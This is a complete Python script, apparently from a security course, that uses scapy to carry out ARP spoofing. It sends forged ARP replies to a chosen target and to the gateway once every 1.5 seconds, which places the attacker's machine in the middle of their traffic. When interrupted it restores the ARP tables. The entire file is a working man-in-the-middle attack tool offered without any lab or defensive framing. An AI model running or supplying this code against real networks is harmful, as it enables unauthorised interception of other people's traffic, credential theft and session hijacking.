arpspoofer.py

#!/usr/bin/env python 

import scapy.all as scapy
import time
import argparse


def get_arguments():
	parser = argparse.ArgumentParser()
	parser.add_argument("-t", "--target", dest="Target", help="Target IP.")
	parser.add_argument("-g", "--gateway", dest="Gateway", help="Gateway IP.")
	options = parser.parse_args()
	return options


def get_mac(ip):
   arp_request = scapy.ARP(pdst=ip)
   broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
   arp_request_broadcast =  broadcast/arp_request
   answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
 
   return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
	target_mac = get_mac(target_ip)
	packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
	scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
	destination_mac = get_mac(destination_ip)
	source_mac = get_mac(source_ip)
	packet =  scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
	scapy.send(packet, count=4, verbose=False)

options = get_arguments()
target_ip = options.Target
gateway_ip= options.Gateway


try:
	sent_packets_count = 0
	while True:
		spoof(target_ip, gateway_ip)
		spoof(gateway_ip, target_ip)
		sent_packets_count = sent_packets_count + 2
		print("\r[+] Sent " + str(sent_packets_count), end="")
		time.sleep(1.5)
except KeyboardInterrupt:
	print("\n\n[-] Detected CTRL + C ... Resetting ARP Tables ... Please Wait.\n")
	restore(target_ip, gateway_ip)
	restore(gateway_ip, target_ip)